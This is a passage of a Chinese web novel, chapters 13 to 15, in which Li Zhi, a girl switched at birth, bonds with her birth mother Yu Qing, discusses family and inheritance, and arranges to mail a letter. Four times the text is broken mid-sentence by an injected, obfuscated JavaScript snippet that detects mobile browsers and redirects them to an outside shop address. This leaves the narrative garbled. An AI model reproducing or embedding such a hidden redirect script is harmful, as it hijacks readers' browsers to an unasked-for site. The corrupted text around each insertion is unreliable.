用稍显涣散的精神观察四周的时候,黎芝总感觉哪里有些怪,很有违和感。 比如说,这里连个看起来像是“厨房”的屋子都没有。 要如何在这里或附近做饭呢?对黎芝来说,很难想象。 难道是在院子里做饭的? 外面某处不起眼的地方,摆着一个形状看起来很陌生、古怪的“炉子”。 在黎芝看来,炉子的外观,就像是哪里捡来的旧货似的。而且,也没有在这几天使用的痕迹。 平时不使用炉子的时候,就这么直接露天地放在院子里吗? 这岂不是,要被风吹、日晒、雨淋……不担心炉子因此损坏吗? 不,这么想也可能多虑了。 这炉子是做什么用的呢…… 从炉子有些积灰的外观看来,这个炉子说不定只是装饰品而已。 与其说是用来从事烹饪工作的厨具,不如说是个气派的大摆件而已。 至少,精神有些发呆涣散的黎芝,看不明白这炉子的用途。 也许是因为,她太不清醒了。再清醒、有集中力一些的话,判断力可能会有所不同。 黎芝正在如此无所事事的时候,总算听到余庆骑着马回来了。 “妈妈!”黎芝很高兴,轻快地如此呼唤道。 “你在做什么呢?”看到黎芝明明无所事事,却显得有些忙碌的样子,余庆好奇地问道,“是要找什么‘玩具’来玩吗?” “玩具?”余庆突兀的话,让黎芝无法理解,她问道,“妈妈这里还有‘玩具’这种东西吗?” “那当然啊。”余庆很自然地说道。 “真的吗?那么,妈妈,这里有什么玩具啊?”黎芝满怀期待地问道。 “举凡这天地之间出产的、能摆弄玩耍的新鲜玩意儿,不都是‘玩具’吗?”余庆说道,“你觉得呢?我说的对不对啊?” “这个,我也不太清楚了……”看来与自己所期待的并不一致,黎芝有些困惑,她说道,“至少,我还没看到像‘玩具’的东西呢。” “那算就啦。”余庆说道,“以后有机会的话,给你看看我们这里的‘玩具’好了。” “好,谢谢妈妈。”黎芝又问道,“妈妈,你刚才去取的,是什么东西啊?” “刚才,我去老吴家要了三斤羊肉。”余庆说道,“你好容易回家来,应当做点好吃的。” “要了三斤羊肉?”黎芝有些听不懂余庆的意思,只得重复了一遍表示自己正在听着。 “是啊,怎么了?”余庆也不明白黎芝的意思,她问道,“你觉得太少了吗?但我感觉,这些已经不少了啊。就算家里有三四口人,一次用三斤羊肉烹调也是不少的吧。” “三四口人分三斤羊肉吗……”黎芝喃喃地嘟囔了一下。 也许是因为,曾经在富豪家长大的缘故吧?黎芝倒是不觉得“一人一斤左右羊肉”的分配,是很理想的配额。 不过,倒也不至于很寒酸就是了。 “嗯,就是‘三四口人分三斤羊肉’了。”余庆说道。 (说起来,为什么是“三四口”人呢?在妈妈的认知里,大于等于三但小于五的人数,统称“三四”吗?) “那真奇怪。”黎芝唐突地说道,“妈妈,我想知道一件事情。” 这件事情明明是如此显眼、醒目、难以忽视,但不知道为什么,黎芝之前就是没有想到。 直到现在才想起来。 “说吧。”余庆似乎很困惑地问道,“为什么这种事情还要欲言又止呢?你不用把自己当外人的。” “咱们家……几口人啊?”黎芝疑惑地问道。 “三口吧。”余庆轻描淡写地说道,“既然是‘三四口人分三斤羊肉’的话,那自然就是三口人了。不过,偶尔会多上一个人来做客就是了。比如今天,说不定也会多一可人呢。” “三口人,是哪三口人啊?”黎芝又再认真地问道。 “你。我。你爸爸。”余庆看向黎芝问道,“这么简单的事情,你也要问我才能明白吗?这真是奇怪了,我还以为你很聪明呢。” “是啊,妈妈,我忽然觉得很奇怪。”黎芝说道,“难道,我是没有兄弟姐妹的吗?家里就我一个孩子啊?” “如果我之前那个‘干儿子’不算‘家里的孩子’的话,那你就没有兄弟姐妹了。”余庆点点头,如此说道,“一个人也挺好的,不用跟别的孩子争抢。” 黎芝大概知道,余庆口中说的“干儿子”,就是她之前养育的孩子。 那是与黎芝同年同月同日生的人,也是黎家真正的“少爷”。 他会在栗原与余庆的家中长大的原因,是因为某无良医院的无良产科医生,收了之前被黎芝唤作“叔叔”的人家的黑心钱。 之后,引出了医生把牧民家的女儿,与富豪家的儿子给对调了的结果。 大夏的社会风气,虽然比起过去已经开明许多了,但总的来说,依然十分封建。 女孩子不是完全没有继承权,但很多人家还是会选择让男子继承家业。 黎芝以前的“叔叔”一家,一定是打着这样的算盘吧。 颇为阴险的“叔叔”,存心针对头胎生育时间本就比兄弟们更晚的黎芝家。 由于女主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376554|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人顺利地生下了男孩,所以要设法偷换成女孩。 这样下去,如果黎芝家一直没有生长子的话,可以想见,那要么是招赘、要么是过继一个兄弟或远亲家的男孩当儿子的结果。 偏巧,黎芝的成长过程中,在黎家本就不怎么讨好,会继承家业的可能性很低。 可以说,黎芝家的家产,本来有很大可能性,会落入到黎芝的叔叔们手里的。 而那个无良的医生,过去许多年里,应该也没少做这样的事情吧?坑害了也不知道多少人。 然而,“常在河边走,哪有不湿鞋的?”那个医生偏偏就在不久前败露了。 因此,他为了脱责,反而干出了“说出自己过去许多罪名”的傻事。 其中就包括了,黎家的孩子与栗原家的孩子,碰巧被调换这件事。 这个消息一传出,黎家立刻就决定去寻找寄养在栗原家的儿子了。而且,从一开始就准备尽快接这位“真正的少爷”回家。 而黎芝这个本来就不怎么讨好的女孩子,自然在黎家就没了存在的立场。 如果是一开始就备受宠爱地长大的话,黎芝或许还能相信,养父母会念着养育自己长大多年的亲情。 也能相信继续留在这个家里,自己也不会被随意苛待。 但是,根据自己多年来在黎家的生活感受……黎芝觉得,继续待在这里,不说“凶多吉少”吧,也肯定是没有什么前途未来的。 总而言之,应该没什么好事。 比起被动等待未知的结果,黎芝认为,应该在自己有办法决定去留、还是自由身的情况下,先离开这里比较好。 产生了“此地不可久留”这样的信念之后,黎芝就决定要尽早行动。 茫茫人海,天地之大,竟然没有自己的容身之所。 黎芝之前是这么想的,她对此相当无奈。 自己该去哪里呢?答案很快就进入了黎芝的脑海。 既然黎家真正的少爷被接回来了……那么,他的养父母、也就是黎芝的生身父母,应该会感到很孤单吧? 只不过,他们没有能力派车或专门来接走黎芝而已。 但是,黎芝可以自己想办法去找他们啊。 在生身父母的家里,也许可以获得真正的、被接纳的感觉吧。 虽然对这个猜想并不能非常肯定,但黎芝仍然抱着虚无的希望,踏上了未知的旅程。 虽然,黎家在接真少爷回家的时候,是很有排场地以车队形式上路的没错。 但是,黎芝离开的时候,可就没有这么好的待遇了。 会去送送黎芝的车,根本就没有。 黎芝能艰难地从京城辗转来到大辉山这里,完全是她运气足够好的结果罢了。 现在回想起来,黎芝也觉得自己的运气真的是太好了。 偏偏、刚好就有一支商队,要从京城到大辉山附近经商。 而且,路过的地方刚好离黎芝要去的栗原家很近。 更重要的是,这支商队又恰恰是愿意顺便搭客,赚点小钱的。 13. 第 13 章 这样的一支商队,黎芝与他们做了“付费搭车”的交易。 好几天好几夜,几乎没合眼地就这样旅行而来了。 如果没有这一支商队的话,黎芝仅仅靠自己的力量来到大辉山,那几乎是不可能的事情了。 但是,黎芝决定离开京城的时候,学校刚巧正在放假的阶段。 就算想通知朋友们自己的去处,黎芝也没有办法做到。 因为,黎芝几乎是不去朋友的家里做客的。 因此,要寻找朋友们的家,这对她来说太耗时与困难了。 为了不错过这支商队,黎芝只能无奈地放弃了与同学、朋友们的告别。 这可能是,黎芝离去时最大的遗憾之一了。 虽然觉得很是遗憾,但其实,对黎芝来说,非常重要的人,本来也没有几个。 甚至可以说,就是因为几乎没什么非常重要的人,黎芝才能这么轻易地决定离开的。 只有秋墨是不一样的。 即使黎芝离开了京城,也会一直想念着他。 虽然,两人的关系其实也没有特别良好,甚至可以说算得上“不熟”。 但是,黎芝还是在潜意识中认为,秋墨对她来说,是特别的人。 而且,某种意义上说,黎芝对秋墨来说,也一定是特别的人吧? 虽然秋墨从来没这么对黎芝说过,但黎芝还是莫名地觉得,自己这么想,是没有什么问题的。 匆匆忙忙地赶到了大辉山之后,黎芝在这里待了几个时辰。 之后,她发现了一个之前一直被自己漏掉的疑惑。 此时,既然已经确定,黎芝就想对此发问出来了。 “为什么……我会没有兄弟姐妹啊?”黎芝迷惑地问道。 虽然迄今为止的黎芝,都是过着独生女的生活,已经习惯了没有兄弟姐妹的生活方式。 但黎芝真没有想到,就连自己的生身父母,竟然也没有生下兄弟姐妹来,这感觉就有些诡异了。 幸好,黎芝之前当机立断来了栗原与余庆的家。 不然的话,自己的生身父母岂不是要一直过着孤寂、老无所依的生活吗? 黎芝想到这种可能性,简直感到有些后怕。 “大概是命吧。”余庆听了黎芝这个问题之后,罕见地深深叹了口气,她说道,“你是我的第一个孩子嘛。生了你之后,我没再怀上别的孩子。所以,就没有生你的弟弟妹妹呗。” “真的是这个原因吗?”黎芝担忧地问道,“妈妈的身体好吗?” 在黎芝不知道是否正确的记忆里,好像有很多人在生育之后就伤了根本,以后都没有再生育的能力了。 “你是担心……我当年留下了什么‘后遗症’吗?”余庆眯起眼睛,说道,“如果是担心这个的话,那你大可不必。我的身体非常健康,只是碰巧没有再怀孩子罢了。” 从余庆表现出来的体力来看,黎芝是相信这一点的。 余庆确实看起来很健康、强壮,应该并不是为了安慰黎芝才这么说的。 “这样啊……”黎芝点了点头。 相比她所想的最糟糕的情形,真相还比较好一些。 不过,如果栗原与余庆家真的没有别的孩子的话,那还是满麻烦的呢。 黎芝最容易想到的麻烦是,草原、牧场上的劳动大部分都适合男性来做,而女孩子就相对不那么适合了。 黎芝虽然是个健康而有力的女孩子,但却对这种“农活”一窍不通,关于能否胜任的这方面,黎芝也有些不安。 除此之外,最重要的就是财产继承之类的问题了吧。 这种事情,确实比劳动的话题要严肃和现实得多,也是黎芝更为担心的事情。 栗家会“招赘”吗?想到这里,黎芝就有点发愁。 无论怎么去想,会愿意当赘婿的人,很可能并不是黎芝喜欢的人吧。 算了,结婚这种事情还早着呢。 现在,黎芝还是先关心如何与父母好好过日子吧。 “我会努力代替‘那个人’照顾妈妈的。”黎芝认真地说道。 由于黎芝实在不知道该怎么称呼母亲的养子的关系,她只能笨拙地对其称之为“那个人”了。 算是兄弟吗?但素未谋面,也没有血缘关系。 哥哥是比自己年纪大的人,弟弟是比自己年纪小的人,同年同月同日同时生的人该算什么呢? 笼统地称之为“兄弟”,虽然倒也并无不可。 但是,黎芝对那个人实在是没有半分感情可言,也不太清楚生身父母对其的态度。 “谢谢你啦。”余庆笨拙地说道。 不知为何,黎芝宣称“要照顾妈妈”之后,余庆反而表现得比较为难,似乎并不怎么高兴的样子。 可能是自己低估了照顾“栗家”的难度吧?黎芝想到这里,又开始烦恼起来。 黎芝甚至连父母的份也一起烦恼着。她在想象父母此时的感受。 养育了十多年的儿子,突然被更换为素未谋面的女儿,这感觉一定很糟糕吧。 更何况,黎芝过去都是娇生惯养地长大,对牧场里的农活一无所知。真的能帮上什么忙吗?黎芝自己对此都十分不乐观。 但是,总而言之,自己一定会努力学习这方面的事情的,黎芝再度如此决定。 “妈妈不用对我说谢谢的。”黎芝扭捏地说道,“虽然,我们还不是很熟,但是,我们终究血脉相连。我是爸爸妈妈的女儿,就一定会尽量做到女儿能做到的事情的。” “你……”之前,余庆欲言又止了好久;此时的余庆,终于认真地想开口了。 虽然余庆只说了一个字就停了下来,但黎芝还是注意到了这点巨大的进步。 “妈妈想和我说什么?”黎芝柔声说道,“妈妈是想对我说出心里的话吗?我知道的,这并不容易。但是,妈妈可以在想好之后说啊。” “我很高兴。”直到此时,余庆才第一次露出了作为母亲才应有的、真诚的笑容。 “诶?”黎芝没有反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376555|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来余庆想说什么,只得问道,“为什么妈妈突然很高兴呢?想到了什么好事吗?” “确实是好事啊。”余庆慈爱地说道,“我没想到你是这么好的一个孩子。” “什么?妈妈你说的是什么意思啊……”黎芝的脸热了起来,她自言自语一般地说道,“我真的很好吗?就连我自己,还没有发现好在哪里呢……” “非常好啊。我从一开始见面就很喜欢你了。”余庆说道,“我当时在想,这么美丽的女孩子,要是我的女儿该多好啊。” “啊?真的吗?”黎芝有些惊讶。 最初,她可并没有察觉到余庆有这样的想法。 要评价黎芝的容貌的话,那确实算是十分漂亮的美人。 但是,黎芝来认亲的时候,却是没有想过,自己竟然会因为容貌博得母亲的好感。 “是真的。”余庆又再说道,“结果,真的知道你就是我的女儿的时候,我反而害怕起来。这太巧了,感觉就像‘塞翁失马焉知非福,失而复得焉知非祸’一样。如果你是我的女儿,这个愿望被满足了,那会索取什么代价、产生什么不好的后果吗?我感到很不安。” “不,我只是妈妈获得的‘补偿’,怎么会需要付出‘代价’啊。”黎芝温声说道,“而且,妈妈是很漂亮的。虽然我大概长得很漂亮吧,但像妈妈这样的人,有我这样的女儿,不是理所当然的吗?” 说罢,黎芝自然而然地嫣然一笑。 虽然,这个笑容看起来似乎有些妩媚过头了,但在黎芝的心中,却的确发自内心,那是纯正的天然感受。 “我哪能算是漂亮啊!和你看起来根本不像母女吧?”余庆自嘲一般地说道,“我哪里能和你比呢?顶多是‘老蚌出明珠’罢了。” “不,我长相也许比较清秀白皙吧。但是,这是因为‘养尊处优’的缘故啊。”黎芝认真地说道,“如果妈妈也能‘养尊处优’地生活的话,也一定是个‘出众的大美人’啊。” 黎芝所说的,实在并不是纯粹的违心之言。 可能因为劳动太多、皮肤粗糙而不够白皙的原因,余庆并非是那种一目了然的大美女。 但是她那浓眉大眼、舒展的五官与健美的身材,却充满了近乎野性的明艳魅力。 由于黎芝的神情与语气十分真诚的缘故,余庆也不由得相信了女儿的话的确发自真心。 于是,余庆的神情态度不由得轻松了起来,似乎是认同了黎芝的评价,感到有些快乐。 “你原来的爸爸妈妈……是什么样子的人呢?”松弛下来之后,余庆如此问道。 “还……还可以吧。”黎芝严肃地说道,“我不是很想说他们的坏话。不过,说真的,感觉他们是比较冷漠严苛的人。” (他们没有很坏,只是不好而已……) 回忆起以前的家,黎芝稍稍感到有些不快乐,但也仅仅是“稍稍感到”而已。 “冷漠严苛?”余庆敏锐地捕捉到了黎芝语言中的负面内容,她问道,“他们对你很不好吗?” 14. 第 14 章 被母亲关心自己的过去,这让黎芝产生了类似感激的喜悦心情。 但很快,她又为“自己会令人担心”这件事,而不安、内疚起来。 (幸好,虽然不是很好,但还没有差到不能说实话的程度……) “他们没有对我‘特别不好’啦。”黎芝柔和地微笑道,“毕竟,虽然我不是很出色,但还算是个温和懂事的省心孩子吧。只要评价标准不是太苛刻的话,都会对我不那么挑剔的吧。大概。” 其实,黎芝并不太符合一般人印象中、老实温顺的性格,相反,还因为洁癖而显得有些挑剔。 不过,因为社交圈子里的其他人,要多事、刁钻、任性得多的关系,黎芝就被衬托得知书达礼起来了。 虽然被包括老师在内的很多人评价为“温良恭俭让”的性格,但黎芝反而觉得,自己的性格是非常普通、没什么特色的类型。 可能因此才会被夸赞“温良恭俭让”吧?对于没什么特色的人,可能也只有夸赞“温柔善良”这一类的词,最为保险了。 被夸赞“温良恭俭让”或是“温柔善良”的时候,有些人会生气,但黎芝听了却是不会在意。 虽然并没有多高兴,但她肯定不会因此觉得生气。 也许,这样的反应正说明,黎芝确实是个温柔善良的孩子吧。 也许因为这样的原因,黎芝在原本那个家里生活的时候,虽然并不出色、不是养父母的骄傲,但倒也没有遇到过诸如歧视、虐待之类的事情。 在学校与别的社交圈子里的时候,也是这样。 虽然黎芝养父母的家庭,在黎芝所在的圈子里,阶级仅仅是中等水平,而黎芝的性格与其他人相比也总是有点格格不入的感觉。 但不可思议的是,大部分人对黎芝都是相当友善的,并没有人欺凌或是刻意疏远她。 黎芝就是在这样自己都觉得有些不合理的环境与状态下长大的。 而且,尽管是身份有些尴尬的独女,但黎家夫妻也没有因此对黎芝抱怨、不满的意思。 回想起来的时候,黎芝觉得,如果不出现某种意外的话,自己也许甚至不会被强制要求招赘或是联姻,而会同意由她来选择喜欢的人结婚吧。 她目睹到其他独生女的命运,往往是招赘或是过继养子,看起来非常不自由。 相比起来,黎芝觉得自己过得已经很自由和幸福了。 “真的是这样吗?那就是说……你过得还好吗?”听了黎芝的话,余庆有点迷茫,似乎不太信任黎芝的澄清。 (妈妈好像不太相信我的话呢……赶快想一些能让她转移注意力的话题吧。) 黎芝快速思索着如何转移话题,她也很快想了一个新的话题出来。 “对啦,我还想说……我以前的‘家长’,没有妈妈好看。”黎芝愉快地说道,“我的养母,虽然是世人眼里的美女,但并不是我心中的美女。妈妈才是呢!” “这是真的吗?”余庆惊喜得近乎兴奋地说道,“你真的认为我比她漂亮吗?” 也许黎芝的外表看起来确实像是“老实人”的关系吧? 即使在刚相见没多久的余庆耳中,黎芝的话语,似乎也充满了说服力。 “是真的哦。妈妈。”黎芝说道,“妈妈看起来十分阳光健康,性格也是热情、充满活力的。我的养母却是比较冷漠的性格,家里的气氛也不怎么好。在妈妈面前,我觉得自己轻松多了。” 说自己养父母的坏话,实在不是黎芝喜欢的事情。 但说真的,黎芝的养母,性格与其说是“冷漠”,倒不如说是“阴沉”而又“做作”。 黎芝已经很努力地用比较正面或中性的词汇来形容她了。 虽然这么说有些奇怪,但对自己的“第一任母亲”,完全没有感情、毫不依恋也是不可能的。 只不过,相比起来,在余庆面前,确实要比在过去那个家里的感觉轻松多了。 感觉上,就像是戴惯了的某种“枷锁”或“镣铐”被解脱下来了一样。 对黎芝来说,在余庆面前萌生的“放松感”,真是以前她从未想过的体验。 “这样啊。”余庆高兴地点点头,但依然有些不安地问道,“这么说来……这么多年了,你到底过得好不好呢?” “嗯,应该‘不算好’吧。”黎芝想了想,又再补充说道,“但也不算坏,和普通人差不多吧。妈妈如何呢?” “大概和你一样。”余庆点了点头说道,“不算好也不算坏。中规中矩吧。差不多就是那样呢。” “总的来说,我对自己的生活,还是挺满意的。”黎芝有些羞涩地说道,“我本来也没有什么太大的野心,只想好好度过一生而已。平安健康就好了。荣华富贵这种事情,本就如浮云一般,可有可无。” “平安健康,其实也不是什么容易的事情啊。”余庆笑着说道,“但是,真希望我的女儿一生平安健康快乐。” 余庆此时的音量,明明非常普通。 但在听到余庆的话的时候,黎芝竟然产生了一种类似“振聋发聩”“震耳欲聋”的感觉。 这种感觉就像是,黎芝之前都处于一种类似梦游的状态,神志当然不怎么清醒。 一直到听了余庆的话之后,黎芝才刚刚从梦中醒来一般,感到十分震撼和激动。 黎家夫妻可是不会对黎芝说这种话的。 单纯地希望女儿平安健康快乐?会这么说话的人,对黎芝来说,实在是太另类了,真让她感动。 “谢谢妈妈。”激动过后,黎芝又再说道,“对了,妈妈本来还想跟我说什么吧?抱歉,刚才不小心打断了妈妈本应说出的话呢。” “是的。我确实本来还想和你说别的……”这一次,倒是余庆表现得稍微有点腼腆了,她想了一会儿,才又再说道,“我曾经觉得,像你这样的女孩子,一定无法适应我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376556|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧场生活。” 这是实情。黎芝也无法澄清。 甚至可以说,这本来就是黎芝之前担忧的事情,一直到现在,她仍然有些担忧。 融入一个全新的环境,本来就很不容易,黎芝只能让自己努力去适应这种事。 黎芝腼腆地摇了摇头,说道:“这确实不太容易,但一切总得试试再说。” “我还想说……”余庆苦笑着说道,“我一直以为你会挑三拣四,这不满那不满。嫌弃我们和这里,是个非常难‘伺候’的刁蛮千金呢。” “啊?怎么会呢?”黎芝十分惊讶地说道,“妈妈太误解我了吧?我才是一直担心会给爸爸妈妈带来麻烦,又派不上用场呢。” “毕竟……过去在京城长大的大小姐,来到我们这样的乡下,怎么可能过得习惯呢?”余庆摇摇头,很无奈地说道,“这是很容易产生的印象吧?‘大小姐’这一类的人,不是最擅长‘迁怒’和‘找茬’吗?我本来以为,我会遇到一个‘小祖宗’呢。” “并不是所有的大小姐都是妈妈你说的那样啦。”黎芝说道,“大小姐也好,公主郡主也好,平民也好,是否喜欢迁怒找茬,主要取决于人品而不是身份。就算是公主,也有很多温柔平和的人。而性格恶劣的平民,应该也到处都是吧?虽然,我过去的生活中,基本和平民交集不是很大,这些都是我瞎猜的……” (哎,这真是“三十年河东,三十年河西”了。) (我还以为,自己一辈子和平民都不会有很大的交集呢……) 想到这些感慨,黎芝觉得稍微有点讽刺,不过她倒是没有什么因此感到不爽的心情。 “说的也是呢。”余庆说道,“真不愧是,‘我祈祷而来的女儿’啊。” “我不是被妈妈祈祷来的啦。”对余庆的说法感到诡异,黎芝不由得嘟囔一般地说道,“说起来,我会是现在的这个样子……也可能是因为,我血缘上并非大小姐。所以,性格上比较不太‘正宗’吧。” “大小姐的性格,难道真是天生的吗?”余庆很诧异地问道,“难道不是后天训练、环境影响出来的吗?” 余庆的这番话,就让黎芝有些迷茫了。 好像有一些道理。但似乎,对黎芝来说并不适用。 “可是……我本来也应该是大小姐的性格的,为什么处于那种环境中,却没有形成呢?”黎芝疑惑这么问道。 “你应该……只是特例吧?”余庆反问道,“你觉得我说的对吗?” “我觉得,妈妈说的可能不太对……”黎芝犹犹豫豫地说道,“但也许就是特例吧。哎呀,我现在也搞不懂了……” “我呢,在知道我在外面有个女儿,当过十多年的大小姐的时候,就在想,如果她是个通情达理的孩子就好了。”余庆认真地说道,“但我也觉得,这么想过于理想化了。虽然一开始曾经希望你是个温顺乖巧的孩子,但是,到了后期的那段时间……” 15. 第 15 章 “后来我就觉得,你只要不干出每天‘打狗’‘骂鸡’的事情,就很好了。”回想起不久前的往事,余庆苦笑着说道,“说真的,有段时间……我一直,都在担心你是个‘难搞的孩子’啊。幸好,你不是这样呢。” (哎,妈妈对“大小姐”这种人,都抱有怎样的不良印象啊……) 黎芝并没说话,而是羞涩地摇摇头。 其实她也有点无奈,毕竟回想起来,自己所见的大小姐,好像很多性格确实不怎么讨喜。 “总而言之,我过去想的,只是‘一个性格好的孩子’而已。”余庆又再说道,“而长相的问题,我根本都没有考虑过。美丽高雅当然很好,但抱有这些奢望的话,就格外容易失望,所以,我没想这个了。” “嗯,确实,我长得还可以啦。”自吹自擂确实让人不好意思,黎芝露出了由于羞涩而显得可爱的笑容,她说道,“毕竟,我是‘妈妈的亲生女儿’嘛。” 说真的,虽然养父母与养子女之间,也会长得越来越像。 但对比之后,在黎芝的感觉里,这种相似性终究是差了一层的。 最开始见到余庆的时候,黎芝还没有太意识到这一点。 但事到如今,黎芝也越来越觉得,相比自己的养父母黎家夫妻,余庆才确实越看越觉得像是自己的母亲。 就算黎芝在黎家待了十几年,在栗家、余庆面前只待了不到一天,这种“相似性”的对比,依然是如此分明。 虽然并不完美,但黎家的养父母也都不算是很糟糕的人。 至少,以黎芝的观点来看,是“差强人意”的父母了。 但是,黎芝在黎家时,就是会有格格不入的生疏感觉。 即使父母与女儿双方都不知道对方没有血缘关系,但还是总感到熟络不起来。 但当黎芝来到“大辉山”的牧场附近,见到余庆后,经历就与以往的印象完全不一样了。 虽然,黎芝在最初怀疑,余庆不怎么喜欢自己,两人相处时,也一度十分尴尬。 但度过了初期的尴尬时间之后,两人越是相熟,黎芝叫余庆“妈妈”的时候,那热情就越是发自真心了。 虽然,在余庆面前,黎芝不太好意思表现出爱撒娇的那一面,但确实,她仅仅待在对方身边就有种发自内心的亲密感。 这是在京城那个家从未得到的体验。也因此让黎芝觉得十分新奇。 “我哪里该有你这么好的孩子呢……”余庆摇摇头,自嘲般地苦笑道,“我何德何能啊?怎么该有你这么好的孩子呢?” “我不是很好的孩子,只是个普通的孩子罢了。”黎芝感到有些为难,羞涩地说道。 “不,你完全是我幻想中的那样啊。”余庆感慨地说道,“我幻想中的女儿,就是一个温顺乖巧、通情达理的美人。但我本来以为,这种人在世界上是不存在的。” “存在啊。怎么会不存在?”黎芝用力摇了摇头,说道,“虽然,我也做不到与这些特征相符就是了……” “我还没有说完啊。”余庆说道,“但根据我这一段时间的观察,我已经明白了。你完全就是我幻想中那样的孩子。我真的很高兴。” “妈妈的‘幻想’也太容易满足了吧……”黎芝不由得尴尬了起来,她说道,“符合妈妈所说的‘幻想’里的人的孩子,肯定是有很多的。我在大小姐里,性格能力也不算出众的那一种呢。” “你真的已经完全符合我的‘幻想’了。”余庆无奈地摇摇头,说道,“你怎么就不相信我呢?为何要……‘妄自菲薄’,是这么说的吧?” “因为,我确实不像妈妈说的那样梦幻嘛……”黎芝无奈地摇头,然后说道,“算啦,我们不要再聊这个话题了。毕竟,也不是特别有趣。当我聊起来的时候,还会感到难堪……” 余庆正要说话的时候,黎芝又再抢先提出了一个一直挂念的话题。 “妈妈,我们这里有‘邮局’吗?”黎芝说道,“我现在,想‘寄信’给某个人。在我们这里,可以做到吗?” “我不清楚。”余庆想了想,又再补充说道,“我们这里,过去本来都是没有邮局的。” “过去本来就是没有邮局的”是什么意思? 黎芝从余庆的话语中,捕捉到了些许令人迷惑的消息。 因此,她没有打断,而是继续仔细听了下去。 “但并不说明这里没有邮局……”余庆继续说道,“前几年,刚刚‘建设’了一家邮局出来。” 真的有邮局啊…… 虽然感到不安,但在黎芝的心里,短暂地燃起了希望。 不过,由于余庆并没有一口气说完的关系,黎芝对此还是有点担忧。 黎芝总觉得,接下来就要有令人失望的“转折”了。 “我想说的是……”余庆说道,“别说寄信的结果了,我们这里,就几乎没有人会寄信出去。如果你问的只是‘邮局是否存在’这个问题的话,我当然可以斩钉截铁地说‘有’。但你真正需要的,不是‘邮局’而是,‘能与外界通信的地方’吧?如果我直接告诉你,那是邮局,但可能没有‘通信’这一功能的话。你会因此不肯给对方写信吗?还是即使如此也会试一试呢?” “嗯……确实是不太妙啊。我再想一想吧。”黎芝总算明白了余庆的意思,微微感动地点头。 “嗯,如果你明白了我的意思的话,就会知道这个问题,很让人纠结如何回答了。”余庆点点头。 “所以,难道我们这里没有办法寄信、对外面联络是吗?”不甘心地想了想,黎芝又再说道,“或者说,我们可以寄信,但不能太相信,是这个意思吗?” “是这个意思。”余庆无奈地说道,“就是说,如果你写信给别人的话,有一定可能性,会导致你的信被扔掉、或者遭遇其他意外的。你不要太把希望全都寄托在这种事情上面,要想开一些,免得自己失望。寻找退路的话,不要仅仅依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376557|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赖信件啊。” “我不是,为了寻找退路、才写信给别人的啦。”黎芝这时才总算明白了余庆的意思。 大概,余庆是觉得,黎芝写信,是为了让同学帮她找工作、或是借钱之类的事情吧。 但这么做是很未知渺茫的。 余庆不建议黎芝这样用信件求人,应该是这个意思吧。 不过,余庆这么想,虽然感觉上、逻辑上都很合理,但黎芝可真的不是那个意思啊。 黎芝写信给秋墨,也不过是单纯地担心秋墨渐行渐远,日后再没有半点联系的缘故罢了。 如果黎芝写信给秋墨,秋墨收到的话,原本失联的两个人就又能接续起来了。 那大概是皆大欢喜的结果吧。 至少,黎芝怀着这样的心情,想要去相信这方面的奇迹。 “如果你真要寄信的话,就把那封信先交给我吧。”余庆望着黎芝,认真说道。 “啊……这样好吗?”黎芝条件反射一般地、有点紧张起来。 根据黎芝的观察,在京城的家长,如果索要孩子的信件的话,一般来说,多半没安什么好心。 说着“交给他们去寄信”的话,但是多半转身就给扔掉了。 甚至,比扔掉那种事更糟,父母直接把孩子的信件给拆掉偷看了。 当然,这种情况下寄出信,也是不可能的。 至于这么做的结果,那自然也是令人一言难尽。 虽然黎芝没有这样的遭遇,但是黎芝的同学们是有过这样的遭遇的。 因此,黎芝一听到余庆向自己索要信件,就不由得担忧起来了。 但余庆似乎并不懂得黎芝的不安,她只是径直说道:“寄信的地方很远的,你又不会骑马,步行的话,走过去太吃力了。我看你的样子,像是很着急和什么人联络的样子……所以,交给我吧。我肯定不把它弄丢,会设法快点寄走的。” “这样啊……那,谢谢妈妈了。”黎芝说道。 